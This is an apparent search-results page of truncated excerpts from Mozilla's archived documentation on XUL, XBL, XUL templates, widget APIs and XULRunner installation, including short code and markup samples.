new fields such as relatedtarget that could be supported in the filtering syntax.] key - the key attribute has the same meaning as charcode. clickcount - the clickcount attribute imposes a filter on the handler. it is used with mouse handlers to specify how many times a button has been clicked. the event handler will only be matched if the value of the clickcount field in the dom mouse event object...
XBL - Archive of obsolete content
see also: xbl removal design review packet, problems with xbl and the xbl and web components comparison. xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents. the element that the binding is attached to, called the bound element, acquires the
new behavior specified by the binding. bindings can contain event handlers that are registered on the bound element, an implementation of
new methods and properties that become accessible from the bound element, and anonymous content that is inserted underneath the bound element. most xul widgets are at least partially implemented using xbl. you...
...ntations in a broader range of web browsers. in 2009 mozilla announced plans to implement xbl2 in future versions of gecko. some differences between sxbl and xbl2 are listed in an article by anne van ke ( seesteren (november, 2005). an overview of differences between mozilla xbl and xbl2 is in a
newsgroup posting by jonas sicking (april, 2007). still living "shadow dom" related specs shadow dom (editor's draft) css scoping » shadow encapsulation see also introduction to xbl from the xul tutorial. custom xul elements with xbl from the xul school...
...chool tutorial for add-on developers xbl chapter of "rapid application development with mozilla" xbl 2.0 primer (draft) xbl 2.0 cross-browser implementation in javascript more xbl resources... community view mozilla forums... mailing list
newsgroup rss feed ...
XPInstall - Archive of obsolete content
in particular plugin developers should see how to package a plugin as an extension. ...
... documentation xpinstall api reference xpinstall api reference. learn xpi installer scripting by example this article uses the installer script from browser.xpi install package as the basis for discussing xpi installations in general. ...
...ussing xpi installations in general. creating xpi installer modules this article describes the packaging scheme of the mozilla and offers a tutorial for creating a
new package that can then be redistributed, installed, and made available to users. install wizards (aka: stub installers) view all... community view mozilla forums... ...
reserved - Archive of obsolete content
not available for use in the content. this means that, to execute these commands, key events won't be passed to content, and event listeners registered for them in content will not be executed. currently, the content still receives these key events, even though it can't override them. in future releases, it won't receive them. see bug 1173061 for details. ...
...that, to execute these commands, key events won't be passed to content, and event listeners registered for them in content will not be executed. currently, the content still receives these key events, even though it can't override them. in future releases, it won't receive them. see bug 1173061 for details. ...
...s. example here, the command to open a
new browser window is reserved: <command id="cmd_
newnavigator" oncommand="openbrowserwindow()" reserved="true"/> if the keyboard shortcut for that is accel-t, then this code will not work as expected, as compared to when it is run from web content: document.addeventlistener("keydown", handlekey, true); function handlekey(event) { // listen for the "
new tab" shortcut if (event.metakey && (event.key == "t")) { // log a message console.log("intercepted accel-t"); // prevent the default browser action event.preventdefault(); event.stoppropagation(); } } currently, this event handler as coded above runs and logs the message, but the default behavior persists. in future releases, the event handler will never be c...
Menus - Archive of obsolete content
for more information about how to use an overlay to modify a menu, see using menus and popups in extensions the following tables list the ids of menus in firefox that are commonly overlaid upon. firefox menus element id description main-menubar the menubar element. menu_filepopup the menupopup associated with the 'file' menu. menu_editpopup the menupopup associated with the 'edit' menu. menu_viewpopup the menupopup associated with the 'view' menu. ...
...menu. firefox context menu element id description relevant context contentareacontextmenu the popup for the context menu when a web page is displayed in the browser area. spell-no-suggestions the no spelling suggestions item - notable as it is the first item on the context menu. ...
... relevant context contentareacontextmenu the popup for the context menu when a web page is displayed in the browser area. spell-no-suggestions the no spelling suggestions item - notable as it is the first item on the context menu. ...
How to implement a custom XUL query processor component - Archive of obsolete content
moved: function() { } }; // basic wrapper for nsisimpleenumerator function templateresultset(aarrayofdata) { this._index = 0; this._array = aarrayofdata; } templateresultset.prototype = { queryinterface: xpcomutils.generateqi([components.interfaces.nsisimpleenumerator]), hasmoreelements: function() { return this._index < this._array.length; }, getnext: function() { return
new templateresult(this._array[this._index++]); } }; // the query processor class - implements nsixultemplatequeryprocessor function templatequeryprocessor() { // our basic list of data this._data = [ {name: "mark", age: 36, hair: "brown", eye: "brown"}, {name: "bill", age: 25, hair: "red", eye: "black"}, {name: "joe", age: 15, hair: "blond", ey...
...) { // called when the builder is destroyed to clean up state }, compilequery: function(abuilder, aquery, arefvariable, amembervariable) { // outputs a query object. ...
...s: function(adatasource, aref, aquery) { // preform any query and pass the data to the result set return
new templateresultset(this._data); }, addbinding: function(arulenode, avar, aref, aexpr) { // add a variable binding for a particular rule, which we aren't using yet }, translateref: function(adatasource, arefstring) { // if we return null, everything stops return
new templateresult(null); }, compareresults: function(aleft, aright, avar) { // -1 less, 0 ==, +1 greater var leftvalue = aleft.getbindingfor(avar); var rightvalue = aright.getbindingfor(avar); if (leftvalue < rightvalue) { return -1; } else if (leftvalue > rightvalue) { return 1; } else { return 0; } } }; var components = [templatequery...
Additional Navigation - Archive of obsolete content
for instance, if items were identified with a type, the data could be filtered to include only items of a particular type. here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this
new triple has a static value for the object attribute instead of a variable reference. you might be able to guess that it will cause a match for only one of the photos, the canal photo. the others won't be able to match when evaluating the triple. to look closer, here is the data network after only the member has been evaluated: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.
...the titles of the two countries are defined near the end of the rdf data. now that we have countries for each photo, instead of starting at the node 'http://www.xulplanet.com/rdf/myphotos', we could start at a country resource and lo...
...untries/iso#it"/> </rdf:description> <rdf:description about="http://www.daml.org/2001/09/countries/iso#it" dc:title="italy"/> <rdf:description about="http://www.daml.org/2001/09/countries/iso#nl" dc:title="netherlands"/> </rdf:rdf> a
new country predicate has been added to each photo pointing to another resource. note that this predicate uses a
new namespace so it is declared on the root rdf element. the titles of the two countries are defined near the end of the rdf data. now that we have countries for each photo, instead of starting at the node 'http://www.xulplanet.com/rdf/myphotos', we could start at a country resource and look for all photos that point to that country. the ref attribute will need to be changed to point to the country r...
Filtering - Archive of obsolete content
« previousnext » adjusting the query sometimes you may wish to change the query at a later time. for example, you wish the user to be able to select a value from a list, and the template results should be filtered based on that value. this can be done by modifying the dom nodes inside the query and rebuilding the template. for instance, to apply a filter, you might add a
new <triple> element. to remove the filter, the <triple> should be removed again. let's assume that we've given an id of 'cond' to the query tag. function applyfilter(country) { var cond = document.getelementbyid("cond"); var triple = document.getelementbyid("filtertriple"); if (country) { if (!triple) { triple = document.createelement("triple"); triple.id = "filtertriple"; tr...
...et.com/rdf/country"); } triple.setattribute("object", country); cond.appendchild(triple); } else if (triple) { cond.removechild(triple); } document.getelementbyid("photoslist").builder.rebuild(); } the 'country' argument to the applyfilter function holds the value to filter by. if this is set, we add a filter, otherwise we remove it. the code is fairly straightforward. a
new <triple> element is created and the object attribute is set to the value to filter by. for example, the resulting triple for the netherlands might be: <triple subject="?photo" predicate="http://www.xulplanet.com/rdf/country" object="http://www.daml.org/2001/09/countries/iso#nl"/> this triple is then appended to the query. the triple is given an id so that it can be found later i...
...add <member> elements. whether a triple or member is added or removed, the template must be rebuilt by calling the rebuild method. this method will remove all of the existing generated content, delete all of the internal information pertaining to the results, and start again as if the template were just being examined for the first time. the template will be parsed again and the data examined for
new results. you can view a complete example of this in action. a menulist is used to allow one to select either a specific country, or select all to show all of the photos. when a choice is made, the applyfilter function as shown above is called and the template content gets rebuilt with the desired filter applied. in this example, the menulist is hard-coded to contain the items that we know are in ...
Result Generation - Archive of obsolete content
possible results that are available where content should be generated information that indicates what to do when the rdf datasource changes this network of information remains for the lifetime of the template, or until it is rebuilt. the template builder uses a method based on the rete algorithm to match data. this allows for a fairly efficient means of updating results when, for instance, a
new statement is added to the rdf graph. rather than rebuild the entire template, the algorithm allows only specific parts of the network of information to be re-examined. a similar method can be used when removing rdf statements. while the information network created by the template builder contains a number of different pieces of necessary information, for the purposes of this discussion, we will o...
... of possible results. the builder begins with a single possible result, called the seed. the builder processes each of a query's statements in sequence. to do this for a particular statement, the builder iterates over the possible results found so far and either accepts each result or rejects each result. for the first statement, only the seed will be available as a possible result. at each step,
new possible results may be added, or more information pertaining to an existing result may be added to the network. naturally, a rejected result will be removed. once all results have been examined, the builder moves on to the next statement in the query. once all statements have been analyzed, any results which still remain go on to become matches. the matches are the endpoints and will cause conte...
...een examined, the builder moves on to the next statement in the query. once all statements have been analyzed, any results which still remain go on to become matches. the matches are the endpoints and will cause content to be generated. so, to summarize: start out with a one possible result as the seed iterate over the results determined so far and augment them with additional data add any
new possible results remove any rejected results repeat steps 2 to 4 for each query statement once done, all remaining results become matches each possible result is made up of a set of variable-value pairs. for instance, a result would look something like the following: (?name = fred, ?age = 5) this result has two variables, ?name with the value 'fred' and ?age with the value 5. variables be...
Template Builder Interface - Archive of obsolete content
mmarize, the refresh method reloads the data, whereas the rebuild method reconstructs the content. the builder is accessible to unprivileged code, so the rebuild and refresh methods may be called by remote code. changing the datasource you can modify the datasource that is used for a template by setting the value of the datasources attribute on the root element. changing this attribute causes the
new datasource to be retrieved and the template to be rebuilt. the rdf datasource associated with the template can be retrieved using the element's 'database' property. it implements the nsirdfcompositedatasource interface. since this is a composite datasource, it may contain more than one datasource. these may be listed in the datasources attribute separated by spaces. for example: <vbox datasources...
....rdf"); var tree = document.getelementbyid("thetree"); tree.database.adddatasource(ds); tree.builder.rebuild(); this is the typical way to add a datasource to an element, in this case to the tree with the id 'thetree'. the datasource is retrieved using the rdf service's getdatasource method. after adding a datasource, the tree builder's rebuild method is invoked to rebuild the template with the
new data. this doesn't happen automatically when you add the datasource, which is useful, since you will often want to add or remove other datasources at the same time. the composite datasource can only be accessed from privileged code, regardless of what datasources it contains. fortunately in this situation, you can just set the datasources attribute (or the corresponding property) to the datasourc...
...he rebuild method. you can also do the same with the ref attribute (or the ref property) and the template will be rebuilt automatically. in the example above, there will be two datasources attached to the tree. they will both be loaded and the template reconstructed. note that if one of the datasources is already loaded it will not be loaded again. this is convenient when you want to simply add a
new datasource to an existing template without reloading existing data. if you do want to reload the data, you can call the builder's refresh method: tree.builder.refresh(); this will reload the datasource attached to the template. if there is more than one datasource, as above, all of them will be reloaded. due to the nature of the way templates are updated, you don't usually need to rebuild a temp...
The Joy of XUL - Archive of obsolete content
are also isolated from one another, enabling the core xul definition and application logic to be shared among all of the custom versions. supporting technologies there are number of other technologies introduced by mozilla that complement xul for building cross platform web applications. xbl the extensible bindings language (xbl) is a markup language that defines special
new elements, or "bindings" for xul widgets. with xbl, developers can define
new content for xul widgets, add additional event handlers to a xul widget, and add
new interface properties and methods. essentially, xbl empowers developers with the ability to extend xul by customizing existing tags and creating
new tags of their own. by using xbl, developers can easily build custom user interface wid...
... to create xul applications that require the raw processing power of compiled languages (c/c++) or access to the underlying operating system. xpinstall xpinstall, mozilla's cross platform install facility, provides a standard way of packaging xul application components with an install script that mozilla can download and execute. xpinstall enables users to effortlessly install
new xul applications over the internet or from corporate intranet servers. to install a
new application the user need only click a hypertext link on a web page or in an email message and accept the
new package through a mozilla install dialog. todo: describe cool toolkit and xul runner features case study: a mozilla calendar application this mini case study describes how oeone corporatio...
....the calendar originated as a linux application with no consideration given to porting it to other platforms. but later, when the original developer (oeone corporation) contributed the source to the mozilla project, the calendar had to be migrated to the windows and macintosh platforms. the ui for the xul application required zero porting effort because it worked with almost no alteration on both
new platforms. similarly, since the ui code is written in javascript, the interaction logic worked with no effort. however, since the libical library is written in c, more significant effort was required to migrate this component to the other platforms. fortunately, an implementation of the libical library was already available for macintosh so, with the cross platform nature of xpcom, a macintosh c...
Complete - Archive of obsolete content
umbers specified in the install.rdf file. there are two approaches: pessimistic and optimistic. the approach that is normally recommended is pessimistic. the extension is assumed to fail in any future version of the application. to adopt this approach, set the maxversion to the latest actual version where you have tested your extension. the problem with this approach is that you have to release a
new xpi every time there is a
new release of any of the applications it supports. if you delay releasing a
new xpi, you risk annoying users who cannot upgrade until you do. the approach used here is optimistic. the extension is assumed to work in any future version of the application. to adopt this approach, set the maxversion to a large number like 99. the problem with this approach is that when cha...
...rl to the correct dtd file for the locale you are using. the xul toolbarbutton tag contains an entity &allcustom.alert.1;. the dtd resolves this into a text string in the appropriate language. when you press the button, the code in the xul element sends the text string to the extension's javascript code in allcustom.js. the extension's javascript code displays the text. file structure in the
new file structure, there is a locale directory for all the locales. each locale has its own directory there. in each locale's directory, there is an allcustom directory. this is useful when files from various components and extensions and all unpacked in the same place—it keeps each set of files separate. in the allcustom directory, the file allcustom.dtd contains the translated strings. the file ...
...custom.xul is loaded, the stylesheet declaration near the top loads a stylesheet from chrome://allcustom/skin/. the application's chrome registry converts this to the correct css file for the theme you are using. the xul toolbarbutton tag has an id all-custom-1. the css stylesheet uses the corresponding selector #all-custom-1 to provide the appropriate image: button-1.png file structure in the
new file structure, there is a skin directory for all the themes. each theme has its own directory there. in each theme's directory, there is an allcustom directory. this is useful when files from various components and extensions and all unpacked in the same place—it keeps each set of files separate. the allcustom directory contains the icon images and the css stylesheet. the file contents.rdf con...
Broadcasters and Observers - Archive of obsolete content
led automatically. this is a useful way to simplify the amount of code you need to write. the technique also works for other attributes as well. for instance, if you place a label attribute on a command element, any buttons attached to the command will share the same label. example 1 : source view <command id="my_command" label="open"/> <button command="my_command"/> <checkbox label="open in a
new window" command="my_command"/> in this example, the button does not have a label attribute, however it is attached to a command that does. the button will share the label with the command. the checkbox already has a label, however, it will be overridden by the command's label. the result is that both the button and the checkbox will have the same label 'open'. if you were to modify the command...
...back action in a browser to be disabled. we would need to disable the back command on the menu, the back button on the toolbar, the keyboard shortcut (alt+left for example) and any back commands on popup menus. although we could write a script to do this, it is quite tedious. it also has the disadvantage that we would need to know all of the places where a back action could be. if someone added a
new back button using an extension, it wouldn't be handled. it is convenient to simply disable the back action and have all the elements that issue the back action disable themselves. we can use the attribute forwarding of commands to accomplish this. broadcasters there is a similar element called a broadcaster. broadcasters support attribute forwarding in the same way that commands do. they work t...
...ne mode. the simplest broadcaster is shown below. you should always use an id attribute so that it can be referred to by other elements. <broadcasterset> <broadcaster id="isoffline" label="offline"/> </broadcasterset> any elements that are watching the broadcaster will be modified automatically whenever the broadcaster has its label attribute changed. this results in these elements having a
new label. like other non-displayed elements, the broadcasterset element serves as a placeholder for broadcasters. you should declare all your broadcasters inside a broadcasterset element so that they are all kept together. making elements observers elements that are watching the broadcaster are called observers because they observe the state of the broadcaster. to make an element an observer, add ...
Creating a Skin - Archive of obsolete content
ing findfile.css directly to see what it looks like, or you can create a custom skin and link to that. creating a custom skin package to create a skin, do the following: (if you are using firefox 1.5 or later, see manifest files instead of below) create a directory somewhere where you want to place the skin files. copy a manifest file (contents.rdf) from the classic or modern skin into this
new directory. modify the references in the manifest file to a custom name for your skin. for example, change references of 'classic/1.0' to 'blueswayedshoes/1.0'. add a line to the file 'chrome/installed-chrome.txt of the following form: skin,install,url,file:///stuff/blueswayedshoes/ where the last part points to the directory you created. make sure to add a slash at the end. copy the original ...
...e references in the manifest file to a custom name for your skin. for example, change references of 'classic/1.0' to 'blueswayedshoes/1.0'. add a line to the file 'chrome/installed-chrome.txt of the following form: skin,install,url,file:///stuff/blueswayedshoes/ where the last part points to the directory you created. make sure to add a slash at the end. copy the original findfile.css into the
new directory. we'll use this as a basis for the
new skin. we can then refer to it using the url 'chrome://findfile/skin/findfile.css'. adding style rules first, let's decide what kind of changes we want to make. we'll make some simple color changes, modify the button styles, and modify the spacing a bit. let's start with the menus, toolbars and the overall tab panel. the following style rules add...
...mage appears above the label. this property has the same meaning as the orient attribute. this is convenient because the skin cannot change the xul. most of the box attributes have corresponding css properties. other changes next, we'll make a couple of changes to the buttons along the bottom, again reusing some icons from mozilla to save time. if creating your own skin, you will need to create
new icons or copy the icons to
new files. if following the example in this section, just copy the files to your
new skin and change the urls accordingly. #find-button { list-style-image: url("chrome://global/skin/checkbox/images/cbox-check.jpg"); font-weight: bold; } #cancel-button { list-style-image: url("chrome://global/skin/icons/images/close-button.jpg"); } button:hover { color: #00006...
More Menu Features - Archive of obsolete content
s by simply placing the menu element inside the menupopup element. this works because the menu element is valid even when it isn't directly placed inside a menu bar. ...
...ng the menu element inside the menupopup element. this works because the menu element is valid even when it isn't directly placed inside a menu bar. ...
...menupopup element. this works because the menu element is valid even when it isn't directly placed inside a menu bar. the example below creates a simple submenu inside the file menu example 1 : source view <toolbox flex="1"> <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menu id="
new-menu" label="
new"> <menupopup id="
new-popup"> <menuitem label="window"/> <menuitem label="message"/> </menupopup> </menu> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> </menubar> </toolbox> adding a menu to our find files example let's add a menu to the find files dialog. we'll...
XUL Questions and Answers - Archive of obsolete content
as blocked for security reasons." that error is from a security check that has been put up to safeguard against cross-site-scripting attacks. a scheme is in development to allow servers to open up their site for cross-site access, but that's not yet done. hidechrome="true" doesn’t work on a mac? unfortunately, no simple solution to this was posted. a workaround is to open the content in a
new window using "window.open" and send titlebar=”no” as one of the flags in the 3rd argument. is it possible to have checkbox support for multi column lists? the current issue is a person exploring if it is possible to have checkbox support for multi column lists. the following is the code they wrote: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <win...
...", "bottomright"); } use the hidepopup() function to solve this issue. ...
...istobj.onlinkiconavailable = function() { return 0 }; /* i use the progress listener to trap the end of a local html "template" file loading, and run xslt transormations. in addition i need to evaluate the browser contentdocument dom in order to clean "target" attributes on links, and so on. ...
XUL accessibility guidelines - Archive of obsolete content
nd internet accessibility with logger. useful at conferences. apple accessibility. portal to apple accessibility. lars (linux accessibility resource site). portal for general linux accessibility. microsoft accessibility. portal for microsoft accessibility. accessibility - mdc. accessibility hub on the mozilla developer center. mozilla.support.accessibility. mozilla accessibility
newsgroup. #accessibility. accessibility channel on mozilla's irc server. guidelines keyboard access keyboard access is important to users who can't use a mouse. many screen reader users and those with physical disabilities rely on the keyboard as their primary input tool. these users require easy, predictable, and well-documented keyboard control. tab order provide a logical tab order...
...ure in users with photosensitive epilepsy. if flickering or flashing is necessary then warn the user before it is displayed. testing media ensure that media alternatives are available in an accessible format. other issues custom widgets avoid re-creating functionality that already exists. ensure that custom components are built with accessibility in mind. ...
... keyboard access checkpoint pass fail tab order logical tab order is provided. tab order jumps around unexpectedly. ...
browser - Archive of obsolete content
disablesecurity type: boolean set this attribute to true to disable the security ui for this browser. omit this attribute off to enable it. droppedlinkhandler type: function this function is called when links are dropped to the browser element, with the following arguments. droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or
newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface homepage type: url this attribute allows you to set a homepage for the browser element. it does not have any correlation with the user's browser homepage; instead it is a ...
..._flags_is_refresh: this flag is used when the url is loaded because of a meta tag refresh or redirect. load_flags_is_link: this flag is used when the url is loaded because a user clicked on a link. the http referer header is set accordingly. load_flags_bypass_history: do not add the url to the session history. load_flags_replace_history: replace the current url in the session history with a
new one. this flag might be used for a redirect. (see nsiwebnavigation.loaduri() for details on the referrer and postdata parameters.) reload() return type: no return value reloads the document in the browser element on which you call this method. reloadwithflags( flags ) return type: no return value reloads the document in the browser with the given load flags. the flags listed below ...
...pressing the stop button, this method stops the currently loading document. swapdocshells( otherbrowser ) return type: no return value swaps the content, history and current state of this browser with another browser. during the swap, pagehide and pageshow events are fired on both browsers. this method can be used to move browser between windows or tear off a browser into a
new window. note: both browsers must be either standalone browsers or embedded in a tabbrowser. you can't mix them. related interfaces nsiaccessibleprovider ...
menulist - Archive of obsolete content
contains( item ) return type: boolean returns true if the menulist contains the specified menuitem as one of its items. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered starting at ...
... contains( item ) return type: boolean returns true if the menulist contains the specified menuitem as one of its items. ...
...item as one of its items. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ) return type: element this method creates a
new item and inserts it at the specified position. you may optionally set a value. the
new item element is returned. removeallitems() return type: no return value removes all of the items in the menu. removeitemat( index ) return type: element removes the child item in the element at the specified index. the method returns the removed item. select() return type: no return...
panel - Archive of obsolete content
popupshowing, onpopupshown, position, titlebar, top, type properties accessibletype, label, popupboxobject, popup, state methods hidepopup, moveto, openpopup, openpopupatscreen, sizeto examples the following example shows how a panel may be attached to a label. <panel id="thepanel"> <hbox align="start"> <image src="warning.png"/> <vbox> <description value="you have 6
new messages."/> <hbox> <button label="read mail"/> <button label="
new message"/> </hbox> </vbox> </hbox> </panel> <description value="6
new messages" popup="thepanel"/> attributes backdrag type: boolean setting the backdrag attribute on a xul panel lets the user move the panel by clicking and dragging anywhere on its background area. close ...
...orall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup immediately. moveto( x, y ) return type: no return value moves the popup to a
new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, triggerevent ) return type: no return value opens the popup relative to a specified node at a specific location. anchor the pop...
... related interfaces nsiaccessibleprovider, nsidomxulpopupelement ...
radiogroup - Archive of obsolete content
checkadjacentelement( dir ) return type: no return value deselects the currently selected radio button in the group and selects the one adjacent to it. if the argument dir is true, the next radio button is selected. if it is false, the previous radio butt...
...ibute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a
new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the
newly created element. checkadjacentelement( dir ) return type: no return value deselects the currently selected radio button in the group and selects the one adjacent to it. if the argument dir is true, the next radio button is selected. if it is false, the previous radio button is selected. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. ...
...io button is selected. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ) return type: element this method creates a
new item and inserts it at the specified position. you may optionally set a value. the
new item element is returned. removeitemat( index ) return type: element removes the child item in the element at the specified index. the method returns the removed item. related interfaces nsiaccessibleprovider, nsidomxulselectcontrolelement ...
tree - Archive of obsolete content
ingle only one row may be selected at a time. (default in listbox and richlistbox.) multiple multiple rows may be selected at once. (default in tree.) for trees, you can also use the following values: cell individual cells can be selected text rows are selected; however, the selection highlight appears only over the text of the primary column. for richlistbox, this is
new in firefox 3.5. statedatasource type: uri chrome xul may specify an rdf datasource to use to store tree state information. this is used to hold which tree items are open and which items are collapsed. this information will be remembered for the next time the xul file is opened. if you do not specify this attribute, state information will be stored in the local store (rdf:local-store). ...
...e not drawn. this is false by default. properties accessibletype type: integer a value indicating the type of accessibility object for the element. builderview type: nsixultreebuilder a reference to the tree builder which constructed the tree data. the builder provides access to the rdf resources for each row in the tree, and allows sorting the data by column. in
newer versions of mozilla, the builderview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript. this property is read-only. columns type: nsitreecolumns returns the columns for the tree as an nsitreecolumns object. contentview type: nsitreecontentview for trees built w...
...a content builder - that is, those that do not have flags set -- the contentview will be a reference to the nsitreecontentview for the tree. this interface lets you retrieve the dom element corresponding to a given a row index and vice versa. for trees that are not built with a content builder, the functions of nsitreecontentview will not be available, since there are no dom nodes to retrieve. in
newer versions of mozilla, the contentview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript. this property is read-only. currentindex type: integer set to the row index of the tree caret in the tree. for trees with focus, the caret's position is indicated by the focus ring, but unfocused ...
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
ts before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a
new directory using an archive tool (7zip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.8.0.4 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follo...
...). the following directory is recommended: c:\program files\mozilla xulrunner\1.8.0.4 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a
new directory using tar -xzf xulrunner-1.8.0.4.en-us.linux-i686.tar.gz. the following directory is recommended: /opt/xulrunner/1.8.0.4 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner linux from a command prompt, run xulrunner --unregist...
....8 for more information. where is the source code? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the
newsgroups or the irc channel. interwiki language links ...
XULRunner 1.9.1 Release Notes - Archive of obsolete content
ents before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a
new directory using an archive tool (7zip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.9.1 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow ...
...ded). the following directory is recommended: c:\program files\mozilla xulrunner\1.9.1 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a
new directory using tar -xjf xulrunner-1.9.1.19.en-us.linux-i686.tar.bz2. the following directory is recommended: /opt/xulrunner/1.9.1 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner linux from a command prompt, run xulrunner --unregiste...
...here. where is the sdk? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the
newsgroups or the irc channel. ...
XULRunner 1.9.2 Release Notes - Archive of obsolete content
requirements before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a
new directory using an archive tool (7zip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.9.2 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the ...
...commended). the following directory is recommended: c:\program files\mozilla xulrunner\1.9.2 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a
new directory using tar -xjf xulrunner-3.6.26.en-us.linux-i686.tar.bz2. the following directory is recommended: /opt/xulrunner/1.9.2 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner linux from a command prompt, run xulrunner --unregister-glob...
...re information. where is the source code? here. where is the sdk? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the
newsgroups or the irc channel. ...
XULRunner 1.9 Release Notes - Archive of obsolete content
ts before installing, make sure your computer meets the system requirements. the system requirements for xulrunner are the same as the system requirements for firefox. installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a
new directory using an archive tool (7zip is recommended). the following directory is recommended: c:\program files\mozilla xulrunner\1.9 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow th...
...nded). the following directory is recommended: c:\program files\mozilla xulrunner\1.9 . to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only). mac os x open the .pkg file within the installer and follow the directions. linux unpack the tarball to a
new directory using tar -xjf xulrunner-1.9.0.17.en-us.linux-i686.tar.bz2. the following directory is recommended: /opt/xulrunner/1.9 . register xulrunner with the system by running xulrunner --register-global (to install for all users, must be run as root) or xulrunner --register-user (to install for one user only). uninstalling xulrunner linux from a command prompt, run xulrunner --unregister...
...mation. where is the source code? here. where is the sdk? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the
newsgroups or the irc channel. ...
XULRunner Hall of Fame - Archive of obsolete content
he xulrunner based client. it will comunicate dyamically with the ieditweb server to maintain a fully configured web site with embedded web applications. it also contains a built in email marketing system that is tightly integrated with the associated web site. one example of this tight integration is that the form in a web site can collect payment and set up a login for a members only section. a
newsletter can be sent to members who sign up on a regular bases. instantbird multi-protocol im client. build instructions komodo edit a multi-language code development tool. build instructions pencil the pencil project's unique mission is to build a free and opensource tool for making diagrams and gui prototyping that everyone can use. source qiqqa research manager, r...
...ike phantomjs, with the same api, except that it runs gecko instead of webkit, and it is not headless (but you can still use xvfb to have a headless slimerjs). sqlite manager manage all your sqlite databases using this lightweight extension for firefox, thunderbird, seamonkey, songbird, komodo etc. sqlite manager is also available as a xulrunner application. surebo browselorer a
